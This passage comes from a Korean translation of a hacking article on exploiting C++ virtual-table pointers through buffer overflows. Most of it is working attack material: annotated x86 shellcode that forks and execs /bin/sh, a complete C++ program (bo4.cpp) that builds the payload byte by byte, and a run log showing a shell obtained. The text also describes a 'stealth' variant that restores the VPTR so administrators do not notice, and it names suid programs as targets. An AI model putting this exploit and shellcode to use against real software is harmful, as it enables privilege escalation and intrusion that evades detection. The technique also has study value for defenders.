CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY ==+= | +-------------------------------------------------------+ | +--> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ Where: B 는 MyClass3의 버퍼를 나타내는 바이트를 나타냄. C 는 MyClass1의 버퍼를 나타내는 바이트를 나타냄. P 는 MyClass1 object 클래스를 가리키는 포인터. X 는 MyClass3 object 클래스의 VPTR. (포인터를 포함하는 클래스에서는 VPTR이 꼭 필요하지 않다). Y 는 MyClass1 object 클래스의 VPTR. 이 테크닉은 컴파일러에 내부 클래스의 구조(VPTR의 오프셋)가 아니라, 프로그래머에 의해서 정의된 클래스의 구조에 의존하며, 따라서 컴파일러에 의해서 메모리상에서 객체의 앞에 VPTR 이 놓이는(예를 들면, Visual C++) 프로그램에서도 이 테크닉을 사용할 수 있다. 그리고, 이와 같은 경우에, MyClass3 object 클래스는 아마도 스택(지역 변수)에 생성될 것이다. 그러므로 고정된 객체의 주소를 얻을 수 있기 때문에, 어떤 배치로 이루어 졌는지 쉽게 알 수 있다. 그렇지만, 이 방법은 사용할 스택이 실행가능해야 하며, 스택 앞부분의 힙영역이 아니어야 한다. 우리는 위에서 살펴본 것처럼 우리가 사용한 BufferOverflow() 함수의 두번째, 세번째 파라메터의 실제값( VTABLE 주소값, VPTR의 오프셋 )을 찾아내는 방법을 알게 되었다. 실제로 이 두가지 파라메터들은 프로그램의 코드를 디버깅해봄으로써 쉽게 찾아낼 수 있다. 또한 이 값들은 다른 프로그램에서 실행한다 할지라도 사용할 때는 고정되어 있는 값이다. 반면에, 첫번째 파라메터(메모리상에서의 객체의 주소)는 이를 정확하게 찾아내기란 쉽지 않지만, 버퍼에 우리가 만든 VTABLE을 놓기 위해서는 이 주소가 꼭 필요하다. ----| A particular example 이제 우리는 가장 마지막 변수가 버퍼를 Exploit할 수 있는 클래스가 있다고 가정해 보자. 이것은 예를 들어, 그 크기가 N bytes일 경우 이 버퍼를 N+4 bytes만큼 가득채우는 것을 의미 한다. 그리고 이 프로세스에서 사용하는 버퍼의 공간 밖에 있는 어떤것도 변경할 수 없으며, VPTR 뒤에는 00h(NULL) 문자가 오기 때문에, 그 수가 N+4인 것이라는 것을 대충 알고 있을 것이다. 아마도 위와 같은 상황이 주는 이점이 있다. 그럼 어떻게 이를 악용할 수 있을까? 그 방법은 앞에서 언급되었던 바와 마찬가지로 이 버퍼를 사용하여, 쉘코드를 실행시키고 나서, 프로그램이 다음번에 실행해야 하는 것을 정상적으로 실행하도록 하는 것이다! 이러한 장점은 프로그램을 무식하게 끝내는 일이 없기 때문에 아주 잔인한 것이며, 따라서 관리자나 다른이가 그것의 실행에 대해서 우연하게 목격하여 이를 저지하는 일도 일어나지 않게 한다. (역자주 : 그럼 이걸 Stealth OverFlow라고 불러야 하나?? 관리자 뒤통수 때리기 전법 ;-) 이것이 가능할까? 우선, 쉘코드를 먼저 실행시키고 난 후, 우리가 만든(예를 들면, 위에서 만들어 보았던 BufferOverflow method와 같은) method를 호출하기 이전 상태로 스택을 복구시키기 위해서 버퍼의 내용을 다시 써야만 한다. 그리고 나서, 다시 초기의 method로 복귀한다면, 프로그램은 정상적으로 실행될 것이다. 다음은 앞으로 우리가 해결해야 할 몇가지 문제들이다: - 실행의 흐름을 중단시키지 않기 위해서 적절한 값으로 버퍼를 완전히 다시 써야 하지만, 만일 그렇게 한다면, 우리의 사랑스런 쉘코드는 덮어쓰여져 재역할을 하지 못한다. 이를 피하기 위해서, 쉘코드의 한 부분(가능하면 적은 부분)을 메모리에 다른 부분에 복사하도록 하자. 이 경우에 스택에 복사시킨 쉘코드의 부분을 앞으로는 "stackcode"라 부를 것이다. 이 때 우리가 사용하는 스택이 실행가능한지 여부는 그리 중요하지 않다. (역자주 : 단순히 쉘코드의 부분을 저장하는 역할만을 하기 때문) - 앞에서 우리는 "strange handling" 이라는 것을 언급하였다. 이것은 객체의 주소에 VTABLE안 에서의 지정된 오프셋에 있는 값을 더하였고, 그 결과를 스택에 푸쉬하였다. 위에서는 이미 실행 된 method의 This pointer역할을 하였다. 하지만 이번에는 VTABLE에서 지정된 오프셋에 있는 값과 객체의 주소를 더하는 것에 있어 버퍼에 가장 앞에 놓을 VTABLE이 이번에는 00h bytes를 가지지 않으므로, 조금의 문제가 있다. 이와 같은 문제를 해결하기 위해 VTABLE상의 오프셋에 임의의 값을 넣고, 후에 스택에 푸쉬된 상 태에서 이 값(This 포인터)을 정확히 계산할 것이다. - 프로세스에서 fork()하여, 쉘을 실행시키고(exec()), 그리고 child 프로세스의 종료를 기다리기 위해(wait()), 그리고 main 프로그램을 계속 실행시킬 것이다. - 실행을 계속 이어서 시킬 어드레스는 객체의 상대적인 클래스의 VTABLE안에 있는 본래 method의 주소값이기 때문에, 상수(고정된)값이다. - EAX 레지스터가 어떤 경우이든지 method의 리턴값으로 다시 쓰여지므로, 이를 이용할 것이다. - 버퍼안에 어떤 00h null byte도 포함하지 않지만, 실행할 때 문자 스트링에 필요한 null byte가 존재해야만 한다. 위에 언급된 중요한 점들을 적용시켜, 아래와 같은 다이어그램으로 버퍼를 대략 짐작해 보겠다: +------------------------------------<-(1)---------------------------------+ | our VTABLE | =+=================== ==+= 9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL ==+= ==+= | | | ======== | | | | | \ | +-->--+ | | \(a copy on the stack) | | | ======== +---(2)-->--------+ | BBB... B | | | +-(3)->+ +--> old method Where: 9 NOP bytes를 나타낸다 (90h). T 포인터에 더해서 스택에 푸쉬할 오프셋 워드를 나타냄(strange handling ;). M 버퍼안에서 쉘코드의 처음의 주소를 나타낸다. S 버퍼안에서 "/bin/sh" 스트링의 주소를 나타낸다. 0 90h bytes를 나타내지만, 이것은 실행될 때 00h로 초기화 된다. (exec()함수를 위해서) /bin/sh 00h로 끝나지 않는, "/bin/sh" 스트링을 나타낸다. A 쉘코드를 나타낸다. (주로 쉘을 실행하고, 스택에 스택코드 부분을 복사시키고, 그것을 실행한다.) B 스택코드를 나타낸다. (new string으로 버퍼를 리셋하고, 본래 프로그램을 계속 실행시키기 위해 원래의 method를 실행한다.) newstring "newstring"이라는 string을 나타내며, 이것은 쉘이 실행되고 난 후 버퍼에 다시 쓰여져 실행될 것이다. V VPTR을 나타내며, 우리가 만든 VTABLE, 즉 버퍼의 가장 앞부분을 가리켜야만 한다. L VPTR 뒤에 복사될 byte를 나타낸다. 이 byte는 00h가 된다. 더 자세한 방법으로, 다음의 쉘코드와 스택코드의 내용을 살펴보자: pushl %ebp //save existing EBP movl %esp,%ebp //stack frame creation xorl %eax,%eax //EAX=0 movb $0x31,%al //EAX=$StackCodeSize (스택에 복사될 코드의 크기) subl %eax,%esp //스택코드에 포함된 //지역 변수(local variable) 생성. pushl %edi pushl %esi pushl %edx pushl %ecx pushl %ebx //registers 저장 pushf //flags 저장 cld //direction flag=incrementation(0) xorl %eax,%eax //EAX=0 movw $0x101,%ax //EAX=$AddThis (스택에 This포인터를 // 계산하기 위해 더하는 값) subl %eax,0x8(%ebp) //원래의 This포인터를 복구하기 위해, // 현재 스택에 저장된 This포인터를 // 이 값으로 빼준다. xorl %eax,%eax //EAX=0 movl $0x804a874,%edi //EDI=$BufferAddress+$NullOffset //(버퍼안의 더블 워드 NULL의 주소) stosl %eax,%es:(%edi) //버퍼에 NULL bytes를 쓴다. movl $0x804a87f,%edi //EDI=$BufferAddress+$BinSh00Offset // ("/bin/sh" 다음의 00h의 주소) stosb %al,%es:(%edi) //"/bin/sh" 다음에 00h를 쓴다. movb $0x2,%al int $0x80 //fork() xorl %edx,%edx //EDX=0 cmpl %edx,%eax jne 0x804a8c1 //EAX=0이면 LFATHER로 점프 // (EAX=0 parent process) movb $0xb,%al //the child process movl $0x804a878,%ebx //EBX=$BufferAddress+$BinShOffset // ("/bin/sh"의 주소) movl $0x804a870,%ecx //ECX=$BufferAddress+$BinShAddressOffset // ("/bin/sh"의 주소를 가리키는 포인터의 주소) xorl %edx,%edx //EDX=0h (NULL) int $0x80 //exec() "/bin/sh" LFATHER: movl %edx,%esi //ESI=0 movl %edx,%ecx //ECX=0 movl %edx,%ebx //EBX=0 notl %ebx //EBX=0xFFFFFFFF movl %edx,%eax //EAX=0 movb $0x72,%al //EAX=0x72 int $0x80 //wait() (shell의 종료를 기다림) xorl %ecx,%ecx //ECX=0 movb $0x31,%cl //ECX=$StackCodeSize movl $0x804a8e2,%esi //ESI=$BufferAddress+$StackCodeOffset //(stackcode의 처음 주소) movl %ebp,%edi //EDI는 지역 변수(local variable)의 // 끝을 가리킨다. subl %ecx,%edi //EDI는 지역 변수(local variable)의 // 시작을 가리킨다. movl %edi,%edx //EDX도 지역 변수(local variable)의 // 시작을 가리킨다. repz movsb %ds:(%esi),%es:(%edi) //스택에 지역 변수(local variable)로서 // 스택코드를 복사한다. jmp *%edx //스택에서 stackcode를 실행 stackcode: movl $0x804a913,%esi //ESI=$BufferAddress+$NewBufferOffset //(버퍼안에 우리가 다시 쓰길 원하는 // 새로운 스트링을 가리킨다.) movl $0x804a860,%edi //EDI=$BufferAddress (버퍼의 처음을 // 가리킨다.) xorl %ecx,%ecx //ECX=0 movb $0x9,%cl //ECX=$NewBufferSize (새로운 스트링의 // 길이) repz movsb %ds:(%esi),%es:(%edi) //버퍼의 가장 앞에 새로운 // 스트링을 복사한다. xorb %al,%al //AL=0 stosb %al,%es:(%edi) //스트링의 끝에 00h를 놓는다. movl $0x804a960,%edi //EDI=$BufferAddress+$VPTROffset // (VPTR의 어드레스) movl $0x8049730,%eax //EAX=$VTABLEAddress (처음의 class의 // original VTABLE 주소) movl %eax,%ebx //EBX=$VTABLEAddress stosl %eax,%es:(%edi) //VPTR을 original VTABLE을 가리키도록 // 수정. movb $0x29,%al //AL=$LastByte (메모리상에서 VPTR에 // 뒤이어 나오는 byte) stosb %al,%es:(%edi) //이 byte를 수정한다. movl 0xc(%ebx),%eax //EAX=*VTABLEAddress+IAddress*4 // (EAX는 original VTABLE안에 있는 // original method의 주소를 가지고 // 있다). popf popl %ebx popl %ecx popl %edx popl %esi popl %edi //플래그와 레지스터를 다시 되돌림. movl %ebp,%esp popl %ebp //스택 프레임 destroy. jmp *%eax //original method 실행 위의 쉘코드와 스택코드를 컴파일 할 BufferOverflow() 함수를 코딩해보자. 그래서 새로운 버퍼 를 만들어 보자. 우리가 이 함수에 전해주어야 하는 파라메터는 다음과 같다: - BufferAddress = 메모리상에서 우리가 만들 버퍼의 주소. - IAddress = 실행될 첫번째 method의 VTABLE안의 index. - VPTROffset = 버퍼안의 덮어쓸 VPTR의 오프셋. - AddThis = "strange handling"으로 인해, stack상의 This포인터에 더해질 값. - VTABLEAddress = 본래의 class에서 original VTABLE의 어드레스 (coded in the executable). - *NewBuffer = 프로그램이 정상적으로 계속 실행되기 위해 버퍼안에 놓을 새로운 버퍼의 내용을 가리키는 포인터 - LastByte = 메모리상에서 VPTR에 뒤이어 따르는 byte로서, original buffer에 우리의 버퍼를 놓을 때 00h로 덮어쓰여진 original byte. 최종적인 코드가 아래에 나와있다 (bo4.cpp): #include #include #include #define BUFFERSIZE 256 class BaseClass { private: char Buffer[BUFFERSIZE]; public: void SetBuffer(char *String) { strcpy(Buffer,String); } virtual void PrintBuffer() { printf("%s\n",Buffer); } }; class MyClass1:public BaseClass { public: void PrintBuffer() { printf("MyClass1: "); BaseClass::PrintBuffer(); } }; class MyClass2:public BaseClass { public: void PrintBuffer() { printf("MyClass2: "); BaseClass::PrintBuffer(); } }; char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset, unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char LastByte) { char *CBuf; unsigned long *LBuf; unsigned short *SBuf; char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize; unsigned long i, MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset, ShellCodeOffset,StackCodeOffset, NewBufferOffset,NewBuffer00Offset, LastByteOffset; char *BinSh="/bin/sh"; CBuf=(char*)malloc(VPTROffset+4+1); LBuf=(unsigned long*)CBuf; BinShSize=(char)strlen(BinSh); ShellCodeSize=0x62; StackCodeSize=0x91+2-0x62; NewBufferSize=(char)strlen(NewBuffer); MethodAddressOffset=IAddress*4; BinShAddressOffset=MethodAddressOffset+4; NullOffset=MethodAddressOffset+8; BinShOffset=MethodAddressOffset+12; BinSh00Offset=BinShOffset+(unsigned long)BinShSize; ShellCodeOffset=BinSh00Offset+1; StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize; NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize; NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize; LastByteOffset=VPTROffset+4; for (i=0;i LFATHER) CBuf[i++]='\xB0';CBuf[i++]='\x0B'; //movb $0xB,%al CBuf[i++]='\xBB'; //movl $BufferAddress+$BinShOffset,%ebx LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4; CBuf[i++]='\xB9'; //movl $BufferAddress+$BinShAddressOffset,%ecx LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4; CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (execve()) //LFATHER: CBuf[i++]='\x89';CBuf[i++]='\xD6'; //movl %edx,%esi CBuf[i++]='\x89';CBuf[i++]='\xD1'; //movl %edx,%ecx CBuf[i++]='\x89';CBuf[i++]='\xD3'; //movl %edx,%ebx CBuf[i++]='\xF7';CBuf[i++]='\xD3'; //notl %ebx CBuf[i++]='\x89';CBuf[i++]='\xD0'; //movl %edx,%eax CBuf[i++]='\xB0';CBuf[i++]='\x72'; //movb $0x72,%al CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (wait()) CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx CBuf[i++]='\xB1';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%cl CBuf[i++]='\xBE'; //movl $BufferAddress+$StackCodeOffset,%esi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4; CBuf[i++]='\x89';CBuf[i++]='\xEF'; //movl %ebp,%edi CBuf[i++]='\x29';CBuf[i++]='\xCF'; //subl %ecx,%edi CBuf[i++]='\x89';CBuf[i++]='\xFA'; //movl %edi,%edx CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi) CBuf[i++]='\xFF';CBuf[i++]='\xE2'; //jmp *%edx (stackcode) //stackcode: CBuf[i++]='\xBE'; //movl $BufferAddress+$NewBufferOffset,%esi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4; CBuf[i++]='\xBF'; //movl $BufferAddress,%edi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4; CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx CBuf[i++]='\xB1';CBuf[i++]=NewBufferSize; //movb $NewBufferSize,%cl CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi) CBuf[i++]='\x30';CBuf[i++]='\xC0'; //xorb %al,%al CBuf[i++]='\xAA'; //stosb %al,%es:(%edi) CBuf[i++]='\xBF'; //movl $BufferAddress+$VPTROffset,%edi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4; CBuf[i++]='\xB8'; //movl $VTABLEAddress,%eax LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4; CBuf[i++]='\x89';CBuf[i++]='\xC3'; //movl %eax,%ebx CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi) CBuf[i++]='\xB0';CBuf[i++]=LastByte; //movb $LastByte,%al CBuf[i++]='\xAA'; //stosb %al,%es:(%edi) CBuf[i++]='\x8B';CBuf[i++]='\x43'; CBuf[i++]=(char)4*IAddress; //movl $4*Iaddress(%ebx),%eax CBuf[i++]='\x9D'; //popf CBuf[i++]='\x5B'; //popl %ebx CBuf[i++]='\x59'; //popl %ecx CBuf[i++]='\x5A'; //popl %edx CBuf[i++]='\x5E'; //popl %esi CBuf[i++]='\x5F'; //popl %edi CBuf[i++]='\x89';CBuf[i++]='\xEC'; //movl %ebp,%esp CBuf[i++]='\x5D'; //popl %ebp CBuf[i++]='\xFF';CBuf[i++]='\xE0'; //jmp *%eax memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize); //insert the new string into the buffer LBuf=(unsigned long*)&CBuf[VPTROffset]; *LBuf=BufferAddress; //address of our VTABLE CBuf[LastByteOffset]=0; //last byte (for strcpy()) return CBuf; } void main() { BaseClass *Object[2]; unsigned long *VTABLEAddress; Object[0]=new MyClass1; Object[1]=new MyClass2; printf("Object[0] address = %X\n",(unsigned long)&(*Object[0])); VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256); printf("VTable address = %X\n",*VTABLEAddress); Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,BUFFERSIZE, 0x0101,*VTABLEAddress,"newstring",0x29)); Object[1]->SetBuffer("string2"); Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); } 자, 이제 컴파일하고, 결과를 살펴보자... rix@pentium:~/BO > gcc -o bo4 bo4.cpp rix@pentium:~/BO > bo4 adresse Object[0] = 804A860 adresse VTable = 8049730 sh-2.02$ exit exit MyClass1: newstring MyClass2: string2 rix@pentium:~/BO > 살펴본 바와 같이, 우리의 쉘이 실행되고 나서, 이 프로그램은 정상적으로 계속 실행되며, 버퍼안의 새로운 스트링("new string")을 보여준다. (역자주 : 깨끗한 오버플로이군요;) Conclusion ========== 요약하자면, 이 테크닉은 기본적인 버퍼오버플로우의 기법이지만, 성공을 위해서 몇가지 조건이 필요하다: - 특정한 버퍼가 필요하다. - 프로그램은 suid이어야 한다. - 실행가능한 heap또는 stack이 필요하다. - 버퍼의 가장 처음 주소를 알아야만 한다. ( Heap영역이든지 Stack영역이든지 ) - 버퍼의 처음에서 부터 VPTR까지의 오프셋을 알아야 한다. (이 오프셋은 실행할 때마다 바꾸어 주는 것이 아니라 고정되어 있는 값이다.) - 오버플로한 후에 실행될 첫번째 method를 가리키는 포인터가 저장된 VTABLE의 오프셋을 알아야 한다. (이 오프셋도 위와 같이 고정된 값이다.) - 이 프로그램을 계속 실행위해서 VTABLE의 정확한 주소를 알아야 한다. 필자는 이 기사가 최근의 modern programming에서 점점 더 많이 사용되는 포인터의 사용법이 특정한 경우에 있어 매우 위험할 수 있다는 것을 보여주고 싶었다. 우리는 C++과 같은 강력한 기능을 가진 몇몇 언어가 가진 취약점과, 이것은 특정한 언어나 툴로 프로그램이 secure해 질수 없다는 것을 알게 되었을 것이다... Thanks to: route, klog, mayhem, nite, darkbug. |EOF|-------------------------------------------------------------------------|